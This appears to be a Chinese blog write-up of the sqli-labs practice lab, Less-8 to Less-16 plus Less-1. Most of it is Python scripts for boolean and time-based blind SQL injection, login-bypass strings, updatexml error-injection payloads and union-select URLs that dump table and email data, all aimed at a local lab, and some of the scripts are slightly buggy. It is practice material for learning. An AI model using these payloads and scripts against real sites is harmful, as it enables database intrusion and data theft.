

sqli-lib 实战日志（二）

sqli-lib sql注入

之前看了基本的盲注和报错注入，还有文件写入。这边将从Less-8开始。

Less-8

这道题把回显关掉了。所以用报错注入不行

另外用我最喜欢的二分查找也是很快的。

二分查找盲注脚本如下：

```
1. class Less_8:
2.     def run(self):
3.         self.half_ascii_database()
4.         self.half_ascii_tables()
5.         self.half_ascii_columns()
6.         self.half_ascii_data()
7.
8.     def half_ascii_database(self):
9.         url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
10.        payload = "' and ascii(substr(database(),%s,1))>%s --+"
11.        database = ''
12.        print("Start to retrieve the database")
13.        for i in range(1, 9):
14.            max = 122 # z
15.            min = 65 # A
16.            while abs(max - min) > 1:
17.                mid = int((max + min) / 2)
18.                p = payload % (str(i), str(mid))
19.                response = requests.get(url % p)
20.                if response.content.find("You are in") != -1:
21.                    min = mid
22.                else:
23.                    max = mid
24.
25.            database = database + chr(max)
26.            print("the database is :%s" % database)
27.
28.
29.     def half_ascii_tables(self):
30.         url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
31.         payload = "'and ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),%s,1))>%s--+"
32.         table1 = ""
33.         print("Start to retrieve the database")
34.         for i in range(1, 9):
35.             max = 122 # z
36.             min = 65 # A
37.             while abs(max - min) > 1:
38.                 mid = int((max + min) / 2)
39.                 p = payload % (str(i), str(mid))
40.                 response = requests.get(url % p)
41.                 if response.content.find("You are in") != -1:
42.                     min = mid
43.                 else:
44.                     max = mid
45.             table1 = table1 + chr(max)
46.             print("the table is :%s" % table1)
47.
48.
49.     def half_ascii_columns(self):
50.         # emails= 0x656d61696c73
51.         url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
```

```

52.         payload = "'and ascii(substr((select column_name from information_schema.columns wher
e table_name=0x656d61696c73 limit 1,1),%s,1))>%s--+"
53.         table1 = ""
54.         print("Start to retrieve the database")
55.         for i in range(1, 15):
56.             max = 122 # z
57.             min = 65 # A
58.             while abs(max - min) > 1:
59.                 mid = int((max + min) / 2)
60.                 p = payload % (str(i), str(mid))
61.                 response = requests.get(url % p)
62.                 if response.content.find("You are in") != -1:
63.                     min = mid
64.                 else:
65.                     max = mid
66.             table1 = table1 + chr(max)
67.             print("the column is :%s" % table1)
68.
69.
70.     def half_ascii_data(self):
71.         # column email_id = 0x656d61696c5f6964
72.         # table emails = 0x656d61696c73
73.         url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
74.         payload = "'and ascii(substr((select email_id from emails limit 0,1),%s,1))>%s--+"
75.         table1 = ""
76.         print("Start to retrieve the database")
77.         for i in range(1, 9):
78.             max = 122 # z
79.             min = 65 # A
80.             while abs(max - min) > 1:
81.                 mid = int((max + min) / 2)
82.                 p = payload % (str(i), str(mid))
83.                 response = requests.get(url % p)
84.                 if response.content.find("You are in") != -1:
85.                     min = mid
86.                 else:
87.                     max = mid
88.             table1 = table1 + chr(max)
89.             print("the data is :%s" % table1)

```

Less-9

这道题算是基于时间——单引号。让我们用sleep做做看。

延时盲注脚本如下

```

1.     class Less_9:
2.         def run(self):
3.             self.sleep_ascii_database()
4.             self.sleep_ascii_tables()
5.             self.sleep_ascii_columns()
6.             self.sleep_ascii_data()
7.
8.     def sleep_ascii_database(self):
9.         url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
10.        payload = "1'and if(ascii(substr(database()),%s,1))=%s,1,sleep(1))--+"
11.        database = ""
12.        for i in range(1, 9):
13.            min = 96 # 33 # !
14.            max = 122 # 127 # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
15.            while min <= max:
16.                starttime = time.time() # 记录当前时间
17.                p = payload % (i, min)
18.                response = requests.get(url % (p))
19.                # print response.url
20.                if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
21.                    min += 1
22.                else:
23.                    database += chr(min)
24.            break

```

```

25.         print("the database is :%s" % database)
26.
27.
28.     def sleep_ascii_tables(self):
29.         # security = 7365637572697479
30.         url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
31.         payload = "1'and if(ascii(substr((select table_name from information_schema.tables
where table_schema=0x7365637572697479 limit 0,1),%s,1))=%s,1,sleep(1))--+"
32.         # "http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from i
nformation_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+"
33.         database = ""
34.         for i in range(1, 9):
35.             min = 97 # 33 # !
36.             max = 122 # 127 # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
37.             while min <= max:
38.                 starttime = time.time() # 记录当前时间
39.                 p = payload % (i, min)
40.                 response = requests.get(url % (p))
41.                 # print response.url
42.                 if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
43.                     min += 1
44.                 else:
45.                     database += chr(min)
46.                     break
47.             print("the table is :%s" % database)
48.
49.
50.     def sleep_ascii_columns(self):
51.         # users = 0x7573657273
52.         url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
53.         payload = "1'and if(ascii(substr((select column_name from information_schema.columns
where table_name='users' limit 0,1),%s,1))=%s,1,sleep(1))--+"
54.         database = ""
55.         for i in range(1, 9):
56.             min = 97 # 33 # !
57.             max = 122 # 127 # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
58.             while min <= max:
59.                 starttime = time.time() # 记录当前时间
60.                 p = payload % (i, min)
61.                 response = requests.get(url % (p))
62.                 # print response.url
63.                 if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
64.                     min += 1
65.                 else:
66.                     database += chr(min)
67.                     break
68.             print("the column is :%s" % database)
69.
70.
71.     def sleep_ascii_data(self):
72.         url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=%s"
73.         payload = "1'and if(ascii(substr((select username from users limit
0,1),%s,1))=%s,1,sleep(1))--+"
74.         database = ""
75.         for i in range(1, 9):
76.             min = 65 # 33 # !
77.             max = 122 # 127 # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
78.             while min <= max:
79.                 starttime = time.time() # 记录当前时间
80.                 p = payload % (i, min)
81.                 response = requests.get(url % (p))
82.                 # print response.url
83.                 if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
84.                     min += 1
85.                 else:
86.                     database += chr(min)
87.                     break
88.             print("the data is :%s" % database)

```

Less-10

一个道理，改成双引号就行

Less-11

万能密码直接过

id 填写 'or 1=1 --+

pwd 随意

Less-12

万能密码直接过

id 填写admin")或者adminn")or 1=1--+

pwd 随意

Less-13

那就写二分查找的盲注好了

```
1.
2.  class Less_13:
3.      def run(self):
4.          self.post_half_ascii_database()
5.          self.post_half_ascii_table()
6.          self.post_half_ascii_column()
7.          self.post_half_ascii_data()
8.
9.      def post_half_ascii_database(self):
10.         '''
11.         /images/flag.jpg
12.         :return:
13.         '''
14.         url = "http://localhost/sqli-labs-master/Less-13/"
15.         payload = {"uname": "admin')and ascii(substr(database(),%s,1))>%s#", "passwd": "1", "s
ubmit": "Submit"}
16.         database = ""
17.         for i in range(1, 9):
18.             min = 96
19.             max = 122
20.             while abs(max - min) > 1:
21.                 mid = int((max + min) / 2)
22.                 p = payload
23.                 p["uname"] = "admin')and ascii(substr(database(),%s,1))>%s#" % (i, mid)
24.                 response = requests.post(url, data=payload)
25.                 # print response.content
26.                 if response.content.find("/images/flag.jpg") != -1:
27.                     min = mid
28.                 else:
29.                     max = mid
30.                 database = database + chr(max)
31.                 print("the database is :%s" % database)
32.
33.      def post_half_ascii_table(self):
34.         url = "http://localhost/sqli-labs-master/Less-13/"
35.         payload = {"uname": "admin", "passwd": "1", "submit": "Submit"}
36.         database = ""
37.         for i in range(1, 9):
38.             min = 96
39.             max = 122
40.             while abs(max - min) > 1:
41.                 mid = int((max + min) / 2)
42.                 p = payload
43.                 p[
44.                     "uname"] = "admin')and ascii(substr((select table_name from
information_schema.tables where table_schema=database()limit 0,1),%s,1))>%s#" % (
```

```

45.         i, mid)
46.     response = requests.post(url, data=payload)
47.     # print response.content
48.     if response.content.find("/images/flag.jpg") != -1:
49.         min = mid
50.     else:
51.         max = mid
52.     database = database + chr(max)
53.     print("the table is :%s" % database)
54.
55. def post_half_ascii_column(self):
56.     url = "http://localhost/sqli-labs-master/Less-13/"
57.     payload = {"uname": "admin", "passwd": "1", "submit": "Submit"}
58.     database = ""
59.     for i in range(1, 9):
60.         min = 34
61.         max = 127
62.         while abs(max - min) > 1:
63.             mid = int((max + min) / 2)
64.             p = payload
65.             p[
66.                 "uname"] = "admin')and ascii(substr((select column_name from
information_schema.columns where table_name=0x656d61696c73 limit 1,1),%s,1))>%s#" % (
67.                 i, mid)
68.             response = requests.post(url, data=payload)
69.             # print response.content
70.             if response.content.find("/images/flag.jpg") != -1:
71.                 min = mid
72.             else:
73.                 max = mid
74.             database = database + chr(max)
75.             print("the table is :%s" % database)
76.
77. def post_half_ascii_data(self):
78.     url = "http://localhost/sqli-labs-master/Less-13/"
79.     payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
80.     database = ""
81.     for i in range(1, 20):
82.         min = 23
83.         max = 127
84.         while abs(max - min) > 1:
85.             mid = int((max + min) / 2)
86.             p = payload
87.             p[
88.                 "uname"] = "admin')and ascii(substr((select email_id from emails limit 7,1
),%s,1))>%s#" % (
89.                 i, mid)
90.             response = requests.post(url, data=payload)
91.             # print response.content
92.             if response.content.find("/images/flag.jpg") != -1:
93.                 min = mid
94.             else:
95.                 max = mid
96.             database = database + chr(max)
97.             print("the data is :%s" % database)

```

Less-14

这里的payload只要把单引号换成双引号就行

试试看当初老哥教我的xpath报错注入

- 库名: `1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#`
- 得security
- 表
 - 名: `1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1)#`
- 得emails (0x656d61696c73)
- 列

名: 1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x656d61696

- 得email_id

- 字段: 1'and updatexml(1,concat(0x7e,(select email_id from emails limit 7,1),0x7e),1)#

得管理员邮箱

Less-15

这关把错误回显关了

其实也不是特别费力。写个盲注脚本吧少年

(这道题就当post类型的延时盲注示范了)

```
1. class Less_15:
2.     def run(self):
3.         #self.post_sleep_ascii_database()
4.         self.post_sleep_ascii_table()
5.         #self.post_sleep_ascii_column()
6.
7.     def post_sleep_ascii_database(self):
8.         url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
9.         payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
10.        database = ""
11.        for i in range(1, 9):
12.            min = 97 # 33 # !
13.            max = 122 # 127 # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
14.            while min <= max:
15.                starttime = time.time() # 记录当前时间
16.                p = payload
17.                p["uname"] = "admin'and if(ascii(substr(database(),%s,1))=%s,1,sleep(1))#" % (
i, min)
18.                response = requests.post(url, data=p)
19.                # print response.content
20.                if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
21.                    min += 1
22.                else:
23.                    database += chr(min)
24.                    break
25.                print("the database is :%s" % database)
26.
27.    def post_sleep_ascii_table(self):
28.
29.        url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
30.        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
31.        database = ""
32.        for i in range(1, 9):
33.            min = 97 # 33 # !
34.            max = 122 # 127 # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
35.            while min <= max:
36.                starttime = time.time() # 记录当前时间
37.                p = payload
38.                p[
39.                    "uname"] = "admin'and if(ascii(substr((select table_name from
information_schema.tables where table_schema=0x7365637572697479 limit
0,1),%s,1))=%s,1,sleep(1))#" % (
40.                    i, min)
41.                response = requests.post(url, data=p)
42.                # print response.content
43.                if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
44.                    min += 1
45.                else:
46.                    database += chr(min)
47.                    break
48.                print("the table is :%s" % database)
49.
50.    def post_sleep_ascii_column(self):
51.        url = "http://127.0.0.1/sqli-labs-master/Less-15/?id=%s"
52.        payload = {"uname": "admin", "passwd": "123", "submit": "Submit"}
53.        database = ""
54.        for i in range(1, 9):
55.            min = 97 # 33 # !
```

```

56.         max = 122 # 127 # ~ # 由于这边是在做题，所以参数可以调整的范围小一些。
57.         while min <= max:
58.             starttime = time.time() # 记录当前时间
59.             p = payload
60.             p[
61.                 "uname"] = "admin'and if(ascii(substr((select column_name from information
        _schema.columns where table_name='emails' limit 1,1),%s,1))=%s,1,sleep(1))#" % (
62.                     i, min)
63.             response = requests.post(url, data=p)
64.             # print response.content
65.             if time.time() - starttime > 1: # 因为是localhost，回显比较快，正常要大一些
66.                 min += 1
67.             else:
68.                 database += chr(min)
69.                 break
70.             print("the column is :%s" % database)

```

Less-16

和之前区别不大，知识要把单引号换成")

其他没有变

第二部分完毕

主要是掌握对盲注脚本的编写，虽然没有对waf什么的处理过，用的都是sleep和ascii，如果把这两个函数给过滤了的话，那就很蛋疼了。

附录：SQLi-lib 第一关简易教程

```

1. # SQLi-Lib 第一关玩法
2. # 注入点判断
3.
4. http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+ 成功
5. http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 --+ 失败
6.
7. # 联合注入 长度为3 （4报错）
8. http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+
9.
10. # 爆库为 security
11. ## -1 不要让正确信息打印出来，因为有limit
12. http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,database(),3 --+
13.
14. # 爆库为 users
15. ## 更改最后的limit中的3为 0,1,2,3 能够把所有的库爆出来
16. http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,table_name,3 from information_
    schema.tables where table_schema=database() limit 3,1--+
17.
18. # 爆列为 email_id
19. ## 同样的 limit 1,1 改为limit %s,1可以爆出其他字段
20. ## emails可以用十六进制编码代替（绕过单引号）为 0x656d61696c73 这是一个绕waf的习惯
21. http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,column_name,3 from information
    _schema.columns where table_name='emails' limit 1,1--+
22.
23. # 爆字段 SBB{ }
24. ## 这个是我自己添加的
25. ## 这里不用16进制编码，也不用双引号
26. http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,email_id,3 from emails limit 8
    ,1--+
27. <!--把limit 8,1改为7,1爆出admin邮箱就行-->

```